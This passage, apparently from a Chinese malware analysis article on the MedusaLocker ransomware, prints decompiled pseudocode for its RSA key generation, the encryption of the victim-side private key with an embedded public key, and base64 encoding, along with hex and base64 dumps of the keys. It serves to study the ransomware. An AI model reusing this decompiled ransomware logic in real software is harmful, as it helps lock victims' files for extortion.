  catch ( const std::exception *v36 )
  {
    v31 = (const char *)(*(__int64 (__fastcall **)(const std::exception *))(*(_QWORD *)v36 + 8LL))(v36);
    printf("[!] Exception in %s: %sn""Context::Autostart", v31);
  }
}
执行完毕后,可以从SOFTWARE\Microsoft\Windows\CurrentVersion\Run注册表中观察到如下内容:
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

4.1.3 存储加密后的密钥对

初始化RSA加密对象,生成RSA公钥和私钥
__int64 __fastcall sub_7FF6BE634C20(__int64 a1, __int64 a2)
{
  unsigned int v2; // ebx
  char *v3; // rdi
  BYTE *v4; // rax
  size_t v5; // rbx
  char *v6; // rdi
  BYTE *v7; // rax
  size_t v8; // rbx
  DWORD v10; // [rsp+50h] [rbp+8h] BYREF
  int v11; // [rsp+54h] [rbp+Ch]
  DWORD pdwDataLen; // [rsp+58h] [rbp+10h] BYREF
  int v13; // [rsp+5Ch] [rbp+14h]
  HCRYPTKEY phKey; // [rsp+60h] [rbp+18h] BYREF
  HCRYPTPROV hProv; // [rsp+68h] [rbp+20h] BYREF

  v13 = HIDWORD(a2);
  v11 = HIDWORD(a1);
  pdwDataLen = 0;
  v10 = 0;
  hProv = 0LL;
  phKey = 0LL;
  v2 = CryptAcquireContextW(&hProv, 0LL, 0LL, 1u0xF0000040);//初始化RSA加密对象
  if ( !v2 )
    goto LABEL_21;
  v2 = CryptGenKey(hProv, 1u0x8000001u, &phKey); //生成RSA密钥对
  if ( !v2 )
    goto LABEL_21;
  v2 = CryptExportKey(phKey, 0LL, 6u00LL, &pdwDataLen);
  if ( !v2 )
    goto LABEL_21;
  v3 = (char *)xmmword_7FF6BE683E58;
  if ( pdwDataLen < (unsigned __int64)((_BYTE *)xmmword_7FF6BE683E58 - pbData) )
  {
    v4 = &pbData[pdwDataLen];
LABEL_10:
    xmmword_7FF6BE683E58 = v4;
    goto LABEL_11;
  }
  if ( pdwDataLen > (unsigned __int64)((_BYTE *)xmmword_7FF6BE683E58 - pbData) )
  {
    if ( pdwDataLen <= (unsigned __int64)((_BYTE *)*(&xmmword_7FF6BE683E58 + 1) - pbData) )
    {
      v5 = pdwDataLen - ((_BYTE *)xmmword_7FF6BE683E58 - pbData);
      memset(xmmword_7FF6BE683E58, 0, v5);
      v4 = (BYTE *)&v3[v5];
      goto LABEL_10;
    }
    sub_7FF6BE635790((__int64)&pbData, pdwDataLen);
  }
LABEL_11:
  v2 = CryptExportKey(phKey, 0LL, 6u0, pbData, &pdwDataLen);
  if ( v2 )
  {
    v2 = CryptExportKey(phKey, 0LL, 7u00LL, &v10);
    if ( v2 )
    {
      v6 = (char *)xmmword_7FF6BE683CE8;
      if ( v10 < (unsigned __int64)((_BYTE *)xmmword_7FF6BE683CE8 - Src) )
      {
        v7 = &Src[v10];
LABEL_19:
        xmmword_7FF6BE683CE8 = v7;
        goto LABEL_20;
      }
      if ( v10 > (unsigned __int64)((_BYTE *)xmmword_7FF6BE683CE8 - Src) )
      {
        if ( v10 <= (unsigned __int64)((_BYTE *)*(&xmmword_7FF6BE683CE8 + 1) - Src) )
        {
          v8 = v10 - ((_BYTE *)xmmword_7FF6BE683CE8 - Src);
          memset(xmmword_7FF6BE683CE8, 0, v8);
          v7 = (BYTE *)&v6[v8];
          goto LABEL_19;
        }
        sub_7FF6BE635790((__int64)&Src, v10);
      }
LABEL_20:
      v2 = CryptExportKey(phKey, 0LL, 7u0, Src, &v10);
    }
  }
LABEL_21:
  if ( phKey )
    CryptDestroyKey(phKey);
  if ( hProv )
    CryptReleaseContext(hProv, 0);
  return v2;
}
生成的rsa公钥如下
  0x060x020x000x000x000xA40x000x000x520x53
  0x410x310x000x080x000x000x010x000x010x00
  0x250xA00xB70x910x110x080x0D0xCE0x320x95
  0xA80x410x000xC60x420xC50x500x770xE90x90
  0x0A0x200xA10x2E0xDF0xA70x4F0x4F0x9D0x26
  0xEC0xEE0xDA0x0D0x3C0x810x530x990x770xF3
  0xA50xB30x9E0xDA0xA50xA90x9E0x590xE40xB9
  0x8C0x9D0x670xD30x2C0x450x740x560xA00x53
  0xA40x280x410xC40x8D0xDD0x070x520xB80x7E
  0x910xF10x2A0xE40xDB0xD80xFB0x040x900x8B
  0x420x700xAE0xC40xA80x210x030x920xCD0x5E
  0xA00x370xCE0x830xB20x280xDC0xF90x0E0x3F
  0x270x7D0x200x0E0x380x920x7E0xCC0x970xD4
  0x300xA60x7A0x100x400x870xCE0xF00x780x51
  0x460x160xDD0x930x710xCC0xD20x8D0xC50x08
  0x990xA80x1B0x4B0x690x010xD90xC20xEF0xDC
  0x610xF90xFF0xCD0xF90xC00xAC0x760x2F0xCD
  0x300xD40x670xD90x930x6D0x2F0xC60x920x11
  0xFF0xC40x980x300xA60x3F0x540xC00x3E0x0D
  0xEF0x700x470xBE0x000x420x2A0x030x110x7D
  0xAC0xA80xE60x670x880x900x100xE40xA00x13
  0x840x100x3E0x660x980x7C0x240x530x240xF3
  0x7E0xD20x4B0xE60xD70x120x1D0xD10x010x8B
  0xC10x290xA30xDE0xC20xF70xCC0x560x2D0x8E
  0x1E0xAC0xE70x4B0xEE0xC60xB70x970x1A0x5B
  0x010x950xF90x760x270x5C0xE90xDD0x610x81
  0x550x5A0xF60x2D0x000x5F0xB40x590x150xF2
  0x650xEE0x230xB50x970xA2
生成的RSA私钥如下
  0x070x020x000x000x000xA40x000x000x520x53
  0x410x320x000x080x000x000x010x000x010x00
  0x250xA00xB70x910x110x080x0D0xCE0x320x95
  0xA80x410x000xC60x420xC50x500x770xE90x90
  0x0A0x200xA10x2E0xDF0xA70x4F0x4F0x9D0x26
  0xEC0xEE0xDA0x0D0x3C0x810x530x990x770xF3
  0xA50xB30x9E0xDA0xA50xA90x9E0x590xE40xB9
  0x8C0x9D0x670xD30x2C0x450x740x560xA00x53
  0xA40x280x410xC40x8D0xDD0x070x520xB80x7E
  0x910xF10x2A0xE40xDB0xD80xFB0x040x900x8B
  0x420x700xAE0xC40xA80x210x030x920xCD0x5E
  0xA00x370xCE0x830xB20x280xDC0xF90x0E0x3F
  0x270x7D0x200x0E0x380x920x7E0xCC0x970xD4
  0x300xA60x7A0x100x400x870xCE0xF00x780x51
  0x460x160xDD0x930x710xCC0xD20x8D0xC50x08
  0x990xA80x1B0x4B0x690x010xD90xC20xEF0xDC
  0x610xF90xFF0xCD0xF90xC00xAC0x760x2F0xCD
  0x300xD40x670xD90x930x6D0x2F0xC60x920x11
  0xFF0xC40x980x300xA60x3F0x540xC00x3E0x0D
  0xEF0x700x470xBE0x000x420x2A0x030x110x7D
  0xAC0xA80xE60x670x880x900x100xE40xA00x13
  0x840x100x3E0x660x980x7C0x240x530x240xF3
  0x7E0xD20x4B0xE60xD70x120x1D0xD10x010x8B
  0xC10x290xA30xDE0xC20xF70xCC0x560x2D0x8E
  0x1E0xAC0xE70x4B0xEE0xC60xB70x970x1A0x5B
  0x010x950xF90x760x270x5C0xE90xDD0x610x81
  0x550x5A0xF60x2D0x000x5F0xB40x590x150xF2
  0x650xEE0x230xB50x970xA20xD30xD40xC70x03
  0xD00xF90xA00x8D0xB70x110x010xE40x400x31
  0xCA0x2A0x840x490x0F0x500x520x750x860x36
  0x5F0x1E0x920xD10xD60x6A0x430x8B0xC30x35
  0x200xAC0x310x1D0xFC0xB60xB60x2B0xAE0xD2
  0x3B0x970xBA0x080xD20x350x930x570x490x31
  0x440xE60x080xCF0x4F0xA40x600xFD0x5C0xF7
  0x0B0xAA0x6A0x900x960xFC0x0B0x9F0xF70x71
  0x350xAC0x1C0x890xA60x0E0xE30x860xFF0x01
  0x350x030x3A0x2A0x210x080x400x2F0xEC0xE4
  0xD20x8E0x2F0x5B0x9C0xA20xA50x690x900x7C
  0x320x4F0xDE0x8A0x8F0xB70xA60x720xE60x3B
  0x7A0xE10xE00x2D0x160xD60x2E0x250xB50x37
  0x600x980x310xCE0x270x7C0x100xC20xBD0x64
  0x4A0xF10x880x490x820xC00x170xE60x3D0x29
  0x8A0x590x580xB40xE50xC30x360xE80x220x5D
  0xD10x630xB30x190x7B0x980x900xDB0xA30x44
  0x3D0x100x4F0xE40x2A0x610x4B0xCD0x720xAB
  0xCF0x940x4E0x750x880xC70x920x490xF50xE6
  0x9C0xFB0x870x230x0D0x2C0xBF0xDF0xDC0x2B
  0x5E0xA50x800xC60x830x040x6D0x200x050x3C
  0x920x280x350x750x860x3B0x250x460xBB0x31
  0x7C0xF20xB40x7D0x210x910x9B0x9F0x7C0x92
  0xC50x6D0xDC0x3C0xE70xA20x750xEA0x5F0x24
  0x150x810x020x8E0xE60xA00xCA0xD00x720x79
  0xFD0x670x1E0x830xD30x010xEC0x880xF40xF2
  0xDD0xC90x590xE00x530x5E0xFC0x9E0xFA0xF7
  0xD70x160x270x9B0xC10x1A0xA30xF10xE10x4D
  0xDD0xDA0xF00x760x6C0x4D0x2C0x590xCC0x6C
  0x440x860x530x490xD40xC20x580xA90x700xC4
  0xE30xE50x9D0x160x3E0x6C0xDA0xCA0xE90x74
  0xA80x3F0xB60x550x810x570x230x370x470xA0
  0x510x490x0E0xEA0x140x100x570xAF0x680x9A
  0x3E0x200x1A0x600x230x920x040xDE0x9C0xD4
  0xE70x4B0x4B0x800x8C0xA50x110x350x2C0xF1
  0x6C0xB10x3C0x9D0x5C0xB10xC10x3E0xD10x98
  0x710xDF0xCF0x6B0x840x820xBC0x870xD10xFA
  0x860xA50xC50x560x930x630x1A0x9F0xEC0xB3
  0xD90xBB0x980x650x2F0xAC0xD20x240x590xC2
  0x3D0x830x7A0xC30xB50x600xF20x450x620x13
  0x2B0x4A0x150x2D0x620x040xE40x810x000xF1
  0x8C0x550xD10x780xAD0x0E0x310x470xC60x5F
  0x840x2E0x000x940x710x9C0x130xB20xB80x6E
  0x520x5C0x620xD40x120x980xD90x830x2E0xAF
  0x210x1E0xF90xAC0xF60xE10xFA0xAF0x590xFE
  0x550x290x670x4C0xC80x0C0x750x110x420x8A
  0x6B0xA70x000xDA0xF70x4E0x1A0x530x6C0x63
  0x840x8A0xF20xC30xEC0x620xE30x6D0x330x55
  0x820x160xFE0xC80x760x790x8A0x2C0x260x43
  0xBF0xCA0x8C0xBF0x770x7E0xE90xB80xBC0xB4
  0x280xB60xAD0xF60x5B0x430x850xA80x620x12
  0xF90x270x920xC90x520x660x340x5B0x600xA2
  0x7F0x570xC10x2A0x300xCD0x810xA60x1E0x3C
  0x030x390x870x960x9D0x310xD40x070xCA0xF3
  0x910x970xDF0x1C0x2F0xA30xC40xAE0x620x7C
  0x7B0x9D0x180x140x110xDA0x5D0x0E0xF80xB1
  0x140x920xCA0xBC0x600xE50x6B0x150xBA0x93
  0xDD0xB30xA50x720xB20x3A0x5E0xB90x790x5C
  0xAA0x8E0xDC0xFA0x940xA50x090x090x270xF0
  0x0B0x8E0x650x180x570x4D0x3F0x670x020x81
  0xE20xE60x650x000xC00xF50xEF0xB10xA50x39
  0xC60x680x240xAA0xB10x320xB00x2F0x0D0x35
  0x6C0x900xB30x0E0x2F0xE00x590xF10x6F0x0C
  0xD50x380x660x3D0xFC0x320x2A0xC80x8F0x51
  0x910x3E0xCD0x300xD10x8C0x3D0xAB0x770x16
  0xAE0x740xCE0xB40x5C0x910xDB0xBA0xD30x52
  0xAE0xCA0x380x3B0x3C0x3E0x510xC20x060xAD
  0xF90x1E0x2F0x3A0x8D0xEF0x2D0x1C0x960x4B
  0x560xE60x520x3D0x330x680x130x260xB40xE4
  0x360x680xD90x230xC60x2A0x300xC60x910x88
  0x9C0xF00xBA0xBD0x470xA60x500x790x060xE0
  0xED0x100x250x720xEA0x720xD50x980x0B0xBD
  0xA30x5B0x040x210x350x910xB00x5B0x4A0xB0
  0x280x570x4E0xDF0x7C0x3A0x4C0x650x1A0x82
  0x630x330x340x900xCF0x1F0xB20x210x250x25
  0xED0x7F0x220x120x0F0xF90xBA0x750x2A0x13
  0xBC0x3A0xA00x1D0x490xD40xC90x230x700x03
  0x570x330x410x500x320xB30x800x550xA20x54
  0xE10x610xB50x1B0x7B0xD10xC60x1F0xE60x55
  0x580xA90xD90xCC0xDA0x6F0xA40xB80x7D0xE3
  0x210x650x200xFC0x000x930x4E0xE20x110x0B
  0xBE0xCD0xA40x130xEF0x280x5A0x3F0x4A0xE7
  0x090x7C0x540x3D0x300x710xAD0x8B0x450x7E
  0xBA0x810x2B0xE20x220x780x870xD10x6D0x67
  0x4D0x5D0xA20x230x450x7B0x0C0x680x940xFD
  0x200x820xC40x070x090x9E0x140x740xBE0xD1
  0x050xC70x7B0xA30x8E0xCB0xEF0x6F0xBB0x3A
  0x130x820x780xAB0x490xC10xBA0x600xB80xD9
  0x970xC10x410x680x0C0x710x1C0x520xCF0x8A
  0x710xCA0x5A0x120x9C0x430xE30xD10x130xA2
  0xF80x07
对刚刚生成的RSA私钥进行加密
v4 = 0LL;
  phProv = 0LL;
  hKey = 0LL;
  v5 = 0;
  pbData = 0;
  pdwDataLen = 4;
  KeyParam = CryptAcquireContextW(&phProv, 0LL, 0LL, 1u0xF0000040);//初始化RSA加密对象
  if ( KeyParam )
  {
    KeyParam = CryptImportKey(phProv, *(const BYTE **)a1, *(_DWORD *)(a1 + 8) - *(_DWORD *)a1, 0LL, 0, &hKey);//导入配置文件中的RSA公钥
    if ( KeyParam )
    {
      KeyParam = CryptGetKeyParam(hKey, 8u, (BYTE *)&pbData, &pdwDataLen, 0);
      if ( KeyParam )
      {
        v7 = pbData >> 3 == 11;
        v8 = (pbData >> 3) - 11;
        pbData = v8;
        v9 = v8;
        v10 = 0LL;
        v25 = 0LL;
        v11 = 0LL;
        v26 = 0LL;
        v27 = 0LL;
        if ( !v7 )
        {
          alloc_memory(&v25, v8);
          v10 = (char *)v25;
          memset(v25, 0, (unsigned int)v9);
          v11 = &v10[v9];
          v26 = &v10[v9];
          v8 = pbData;
          v4 = v27;
        }
        v28 = 0LL;
        v29 = 0LL;
        v12 = 0LL;
        while ( 1 )
        {
          v13 = *a2;
          v14 = a2[1] - *a2;
          if ( v8 >= (unsigned __int64)(v14 - v12) )
            v8 = v14 - v5;
          v20 = v8;
          memcpy(v10, (const void *)(v12 + v13), v8);
          v21 = v20 + v5;
          v15 = a2[1] - *a2;
          v12 = v21;
          pdwDataLen = v20;
          Final = v21 == v15;
          KeyParam = CryptEncrypt(hKey, 0LL, Final, 00LL, &pdwDataLen, 0);
          if ( !KeyParam )
            break;
          if ( pdwDataLen > (unsigned __int64)(v11 - v10) )
          {
            if ( pdwDataLen <= (unsigned __int64)(v4 - (_QWORD)v10) )
            {
              v16 = pdwDataLen - (v11 - v10);
              memset(v11, 0, v16);
              v11 += v16;
              v26 = v11;
            }
            else
            {
              sub_7FF6BE635790((__int64)&v25, pdwDataLen);
              v4 = v27;
              v11 = v26;
              v10 = (char *)v25;
            }
          }
          KeyParam = CryptEncrypt(hKey, 0LL, Final, 0, (BYTE *)v10, &v20, (_DWORD)v11 - (_DWORD)v10);//加密生成的RSA的私钥
          if ( !KeyParam )
            break;
          sub_7FF6BE635550(&v28, *((_QWORD *)&v28 + 1), v10, v20);
          if ( v12 == v15 )
            break;
          v8 = pbData;
          v5 = v21;
        }
        sub_7FF6BE635410(a2, &v28);
        v17 = (void *)v28;
        if ( (_QWORD)v28 )
        {
          if ( (unsigned __int64)(v29 - v28) >= 0x1000 )
          {
            v17 = *(void **)(v28 - 8);
            if ( (unsigned __int64)(v28 - (_QWORD)v17 - 8) > 0x1F )
              invalid_parameter_noinfo_noreturn();
          }
          j_j_free(v17);
        }
        if ( v10 )
        {
          v18 = v10;
          if ( (unsigned __int64)(v4 - (_QWORD)v10) >= 0x1000 )
          {
            v10 = (char *)*((_QWORD *)v10 - 1);
            if ( (unsigned __int64)(v18 - v10 - 8) > 0x1F )
              invalid_parameter_noinfo_noreturn();
          }
          j_j_free(v10);
        }
      }
    }
  }
  if ( hKey )//清理资源
    CryptDestroyKey(hKey);
  if ( phProv )
    CryptReleaseContext(phProv, 0);
  return KeyParam;
}
加密RSA私钥后的数据如下
 0xAB0xC50x2C0x3B0xB00x340x530x610xCB0x3B
  0xC50x390x580xEA0xA00x140x170x4A0x8C0x25
  0x440x8D0x570xA80xDF0xB90x880xAD0x640x7C
  0x5D0xD00x3B0x5C0x420xCB0xCC0x840xEA0xF1
  0x8B0x4E0x720x500xAF0x400xB10x600xCF0x6C
  0x210xA50xBD0xC50xB90xE90xAC0x2E0x100xA9
  0x3C0x460x390xAB0x800xC40x9F0x4D0x490x26
  0x9E0x800xC90x6E0xC10xA80x8D0xFC0x390x05
  0xCC0x8A0x370xF10x8E0x0E0x060x6C0x790x13
  0x300x7A0xEE0x160x9D0x510x6A0xBA0x220x61
  0x590x7B0xC50x7C0xB90xB70x740x650xA90xBF
  0xE50x7F0x9C0x970xFF0x930x430x440x820x37
  0xFD0x670xB60x440x6C0x1E0x710x5C0x550x12
  0xE50xA80xB50x530xD00x770xE60x270x3C0x10
  0xCD0x860x7A0xF30x500x550x020x790xAA0xAA
  0xBF0xA10xE80x7A0xC90xC70x1B0x250xFF0xC9
  0x610x300x940x450x210xC90x710xAB0xE30xE5
  0x3E0xF50x250x9A0x4A0x220x620x020x9A0xF8
  0x5B0xCB0xAF0x470x9F0x850x4C0x710x170x84
  0xC10x080xA10x6B0xD20x610x920xF00x700xB2
  0xCE0xE70x1C0xE10x900xD70x2A0xDC0xC20xE5
  0x7A0xFF0x6B0x0B0x080x0B0x120x210x330x60
  0xDC0x0B0x150xB00x9E0x780x880x080xC40x63
  0x5D0x390xFD0xBD0x920x040x850x860xC10x63
  0x200xF10x420x6C0x1A0xA20xBB0x5A0xBB0x0D
  0x3C0xD10x1F0xAE0x690x370x040x610x1D0x3D
  0x810xD50x560x3F0x8C0x330xB90x480xEE0xC2
  0x0A0x0B0x500xEB0x6B0x290x320xDF0x190x27
  0x2E0x7B0x900x640x580x470xBA0x580x640x4F
  0x010x790x200xBE0xC90x880x1D0x920x6A0x2D
  0x3D0x1A0x3D0x080x3F0x200x9F0x4F0x9A0x36
  0x4C0x4B0xED0x370xD90x010x9B0xCC0x480x9E
  0xFE0x020xA90x580x390xB70x6D0x1E0xB40x6A
  0xAB0x540x510x610x750x820xF20x820x9B0xCE
  0x6A0xEF0x990x640xD40x1D0x010x7C0x310x65
  0x520xD70xFB0x1B0x870xF30x760xB30x210xB1
  0x910x510xA10xF20x870x4A0x9A0xFC0x3E0xFD
  0xAC0x910x660x080x170x960x180x120x820x4E
  0x8A0x380x6C0x9E0xC20x7C0xD20x6C0x4F0xFA
  0x5F0x2A0xC90x010x670xE20x910x550x7B0x50
  0x930x740xDA0x1B0xFF0x2F0xA40x310x060xA6
  0xA40x6F0x390x5B0xDF0x360xAB0xEC0x3D0x4D
  0xB80xC40x170x8D0x850x210x6A0x9C0x330xC2
  0x0F0x300xB30x940x550xB60x200x7F0xA10x5A
  0x0F0xF30x0B0x1A0x3B0xF10xE10xCA0x5A0x39
  0x4B0x0E0x2D0xB60x6B0x830xB10xAF0x7B0x6A
  0x210x730x280x590xAE0x650x540xC00x6A0x91
  0x800x310xD10xF30x540x3F0x250x750x1B0x6B
  0x1E0x1F0x070xFB0x990xEC0xBA0x280xF30x72
  0xEF0x780x2D0x9D0xA60xA40x770x3C0x4C0xE5
  0x2C0x960xF40x6C0x980x550x770x0D0x170x50
  0x610x160xD40x670x5D0xA70xAF0x7A0xDF0x5E
  0xF50xD50x610x230x6B0x860x290x830x560xF6
  0xA80xA60xFC0x460x0D0x930x380x320x7A0x11
  0x160xDC0x150x890xA20xA90xA10xE00x7B0xAB
  0xDE0xEF0x520x350xCA0x1C0x1F0xCD0x730x78
  0xD10xF40x430xA10x120xDA0xE90x7C0x8D0x91
  0xBB0x6E0xE90x3A0x580x050x7A0x840xA10x97
  0x0C0xBB0x7F0x4B0x2E0x410xAB0x030xFE0x75
  0x610x6D0xD70xF00x1E0x630x260x280x6F0x4F
  0xDD0x0F0x190xAD0xDE0xFE0xF80xDC0x930xD6
  0x830x210x100xED0xC60x210xBA0x4F0xFC0x06
  0x550x690x930x490xDC0x8B0xC10x9B0x010xDF
  0xF60xFB0x100x3E0xD70xEA0x350xAB0xC20x59
  0xC90x300x2B0xD80xC50xAA0x690xCE0x2D0x0D
  0x0B0xAF0xBD0xD00xCC0xEF0xEB0xDD0x300x53
  0xF50x1A0x470xA80xAA0x270x220xE30x890x2B
  0xAE0x8B0xC70x990x1D0x780x100xA50xFF0x0A
  0x100xCA0x520xEB0xBE0x730xCF0x890x4F0x6E
  0x6E0x980xF10x7F0x100x120x840x270x7B0x9E
  0x3D0x0E0x030xEB0xE20x090x010xB20x580x83
  0x180x770x890xA90xE90x3C0xD90x610x550xA6
  0xBF0xC60xAB0x100xD60x920x9B0x250x1F0x00
  0xA10x0F0xDE0x620xE60x200x560xC70xD50xC9
  0x470x230x3E0x0F0xCB0x830x660xB20x300x75
  0x830xB40x680x270x4C0x500x560xD20xD00xD1
  0xC10x010xB00xD30xF00x000x160x570xEE0x1B
  0x830x2B0xEF0xBB0x2F0x740x4E0xDC0xB40x35
  0x2E0xBD0xBF0xA80x340x470x5E0xE00x430x71
  0x620x360xEC0x760x650xFC0x590x2F0x300x83
  0x010x210x030x160x160xA60x9C0x090x800x4B
  0x9F0xA10xB20xC90xC10x7C0x390xDD0x420xB3
  0xCB0x720x360xD30x300xD30x810x5D0x460x02
  0x1C0x8B0x8E0xE80x120x3E0xA90x750xD10xCD
  0xAC0xE80x850x390x400x630x550x600x230xE0
  0x2F0x380x8B0x7B0x2A0x480x7C0x4D0xEE0x7F
  0xC00x900xB20xDF0xD50x7D0x710x720x3A0x5E
  0x3C0x4B0x670x610xCB0x9B0x370xA10xBC0x60
  0x450x620x700xA20x460x1A0x860xF30xCA0xA4
  0x530x9A0xA10xD00x730xF80x860xF60xDE0xD8
  0xFD0xB20x920x850x0F0x660x800x290xE50x7E
  0xEA0xC90x990xB40xD50x9E0xC80x140x2F0x34
  0xF60x360xDF0xF00x6A0x350x6F0xFB0xE30x31
  0x3E0x3D0x680x970x1F0x780x340xB70x7A0xD2
  0x6D0xA00x000x4D0x4A0x9D0x1F0xEE0x290x34
  0xC90x070x110xA00x5C0x040x870x160xC30x52
  0x360x800x9D0xCA0xA60x0F0xE50x2A0xCA0x7A
  0x950x860x990x110x4C0xF50x320xAD0x520x70
  0x880xAE0xAB0x570x810xE60x940x3F0x840x8C
  0x8F0x350x6F0x890x620x700x140xD40x9E0x75
  0x390x210x580xAB0xB40x340xD70x9D0xC00x2E
  0x120xB30x990x840x750x7E0xC00xDF0xE80x10
  0xB70xB10x100x440xCD0xC40x9C0x420x020xE3
  0x900x7C0x500x5F0x3D0x760xF90x200x5E0x58
  0x8D0xE50x850x850xF30x530x060xB60x270xBA
  0xA30x5B0x2A0x560xBF0xFC0x4B0xF00xBA0xA1
  0x5E0xD80xE50x2B0xF20xED0x280x350x300x57
  0x4C0x3D0xF80xE20x480xE40x6D0x5A0xE50x30
  0xB10xC80xDF0x4F0x740x360x500xA00xEC0x72
  0xAC0xD50x760x6E0x8F0x1F0x8F0x8B0xD30xF3
  0x780x0B0xD10x1E0x960x1C0x570x5F0x020xB6
  0xEF0xEC0x460x130xBD0xC90x9F0x0B0xDC0xFF
  0x8E0xBC0x7F0xEE0xD70xFC0x130xC40xD90xA0
  0x300x8C0xBC0x150xEA0x2D0x350xCB0xC30x1A
  0xCB0x700x2F0x170xCD0x010xEC0xFC0x0B0xBF
  0x3B0xC40xEC0x920x500x8A0x330xCC0x070x0F
  0xF00xF80xD60x0D0x540x7B0x2A0x260xA60x7F
  0x2B0xD40xF50x710x3B0x100x8A0x890x580xEC
  0x920x150x310xAC0x130x440x0D0xCC0xED0x7B
  0x5B0xB80x6C0xEF0xA80x910xF00x170xF50x9B
  0x260xB40x210x5E0xCB0x6A0x560xD00x650x85
  0xEE0x670x620x5C0xCC0xE00x310xA10xC60xB7
  0x280xE40xE50xFE0x590x420x0B0x690x590x10
  0x0B0x1B0x8A0xC20x2F0x020x240x3F0xFA0x72
  0xC90xD80x050xDD0x490x2B0x2B0xB20x2B0xD2
  0x1C0x7A0x9C0xCB0x330xDC0x990x980x0E0xA2
  0xFB0x520x4C0xC00x320x550x110xDE0xCD0xC3
  0x630x800x620x480x720xEA0xEE0x560x190xE3
再把刚刚的公钥进行base64编码
BOOL __fastcall sub_7FF6BE634960(__int64 a1, __int64 *a2)
{
  _DWORD *v2; // rsi
  DWORD v4; // edx
  const BYTE *v6; // rcx
  BOOL result; // eax
  unsigned __int64 v8; // r9
  __int64 v9; // rdx
  __int64 *v10; // rdi
  __int64 *v11; // rax
  unsigned __int64 v12; // r10
  unsigned __int64 v13; // rcx
  __int64 *v14; // r8
  _WORD *v15; // rdi
  WCHAR *v16; // r9
  BOOL v17; // esi
  __int64 v18; // rcx
  __int64 v19; // r8
  unsigned __int64 v20; // r9
  unsigned __int64 v21; // rdx
  _WORD *v22; // rdi
  __int64 i; // rcx
  DWORD pcchString; // [rsp+50h] [rbp+8h] BYREF

  v2 = (_DWORD *)(a1 + 8);
  v4 = *(_DWORD *)(a1 + 8) - *(_DWORD *)a1;
  v6 = *(const BYTE **)a1;
  pcchString = 0;
  result = CryptBinaryToStringW(v6, v4, 0x40000001u, 0LL, &pcchString);
  if ( result )
  {
    v8 = a2[2];
    v9 = pcchString;
    v10 = a2 + 2;
    if ( pcchString > v8 )
    {
      v12 = a2[3];
      v13 = pcchString - v8;
      if ( v13 > v12 - v8 )
      {
        sub_7FF6BE627CB0(a2);
      }
      else
      {
        *v10 = pcchString;
        v14 = a2;
        if ( v12 > 7 )
          v14 = (__int64 *)*a2;
        v15 = (_WORD *)v14 + v8;
        if ( v13 )
        {
          while ( v13 )
          {
            *v15++ = 0;
            --v13;
          }
        }
        *((_WORD *)v14 + v9) = 0;
        v2 = (_DWORD *)(a1 + 8);
        v10 = a2 + 2;
      }
    }
    else
    {
      *v10 = pcchString;
      v11 = a2;
      if ( (unsigned __int64)a2[3] > 7 )
      {
        v11 = (__int64 *)*a2;
        v2 = (_DWORD *)(a1 + 8);
        v10 = a2 + 2;
      }
      *((_WORD *)v11 + v9) = 0;
    }
    v16 = (WCHAR *)a2;
    if ( (unsigned __int64)a2[3] > 7 )
      v16 = (WCHAR *)*a2;
    result = CryptBinaryToStringW(*(const BYTE **)a1, *v2 - *(_DWORD *)a1, 0x40000001u, v16, &pcchString);
    v17 = result;
    if ( result )
    {
      v18 = pcchString;
      v19 = *v10;
      if ( pcchString > (unsigned __int64)*v10 )
      {
        v20 = a2[3];
        v21 = pcchString - v19;
        if ( v21 > v20 - v19 )
        {
          sub_7FF6BE627CB0(a2);
        }
        else
        {
          *v10 = pcchString;
          if ( v20 > 7 )
            a2 = (__int64 *)*a2;
          v22 = (_WORD *)a2 + v19;
          if ( v21 )
          {
            for ( i = v18 - v19; i; --i )
              *v22++ = 0;
          }
          *((_WORD *)a2 + v19 + v21) = 0;
        }
      }
      else
      {
        *v10 = pcchString;
        if ( (unsigned __int64)a2[3] > 7 )
          a2 = (__int64 *)*a2;
        *((_WORD *)a2 + v18) = 0;
      }
      return v17;
    }
  }
  return result;
}
结果如下
BgIAAACkAABSU0ExAAgAAAEAAQAloLeREQgNzjKVqEEAxkLFUHfpkAogoS7fp09PnSbs7toNPIFTmXfzpbOe2qWpnlnkuYydZ9MsRXRWoFOkKEHEjd0HUrh+kfEq5NvY+wSQi0JwrsSoIQOSzV6gN86Dsijc+Q4/J30gDjiSfsyX1DCmehBAh87weFFGFt2TcczSjcUImagbS2kB2cLv3GH5/835wKx2L80w1GfZk20vxpIR/8SYMKY/VMA+De9wR74AQioDEX2sqOZniJAQ5KAThBA+Zph8JFMk837SS+bXEh3RAYvBKaPewvfMVi2OHqznS+7Gt5caWwGV+XYnXOndYYFVWvYtAF+0WRXyZe4jtZei
然后将刚刚加密后的加密数据也用base64编码
q8UsO7A0U2HLO8U5WOqgFBdKjCVEjVeo37mIrWR8XdA7XELLzITq8YtOclCvQLFgz2whpb3FuemsLhCpPEY5q4DEn01JJp6AyW7BqI38OQXMijfxjg4GbHkTMHruFp1RaroiYVl7xXy5t3Rlqb/lf5yX/5NDRII3/We2RGwecVxVEuWotVPQd+YnPBDNhnrzUFUCeaqqv6HoesnHGyX/yWEwlEUhyXGr4+U+9SWaSiJiApr4W8uvR5+FTHEXhMEIoWvSYZLwcLLO5xzhkNcq3MLlev9rCwgLEiEzYNwLFbCeeIgIxGNdOf29kgSFhsFjIPFCbBqiu1q7DTzRH65pNwRhHT2B1VY/jDO5SO7CCgtQ62spMt8ZJy57kGRYR7pYZE8BeSC+yYgdkmotPRo9CD8gn0+aNkxL7TfZAZvMSJ7+AqlYObdtHrRqq1RRYXWC8oKbzmrvmWTUHQF8MWVS1/sbh/N2syGxkVGh8odKmvw+/ayRZggXlhgSgk6KOGyewnzSbE/6XyrJAWfikVV7UJN02hv/L6QxBqakbzlb3zar7D1NuMQXjYUhapwzwg8ws5RVtiB/oVoP8wsaO/Hhylo5Sw4ttmuDsa97aiFzKFmuZVTAapGAMdHzVD8ldRtrHh8H+5nsuijzcu94LZ2mpHc8TOUslvRsmFV3DRdQYRbUZ12nr3rfXvXVYSNrhimDVvaopvxGDZM4MnoRFtwViaKpoeB7q97vUjXKHB/Nc3jR9EOhEtrpfI2Ru27pOlgFeoShlwy7f0suQasD/nVhbdfwHmMmKG9P3Q8Zrd7++NyT1oMhEO3GIbpP/AZVaZNJ3IvBmwHf9vsQPtfqNavCWckwK9jFqmnOLQ0Lr73QzO/r3TBT9RpHqKonIuOJK66Lx5kdeBCl/woQylLrvnPPiU9ubpjxfxAShCd7nj0OA+viCQGyWIMYd4mp6TzZYVWmv8arENa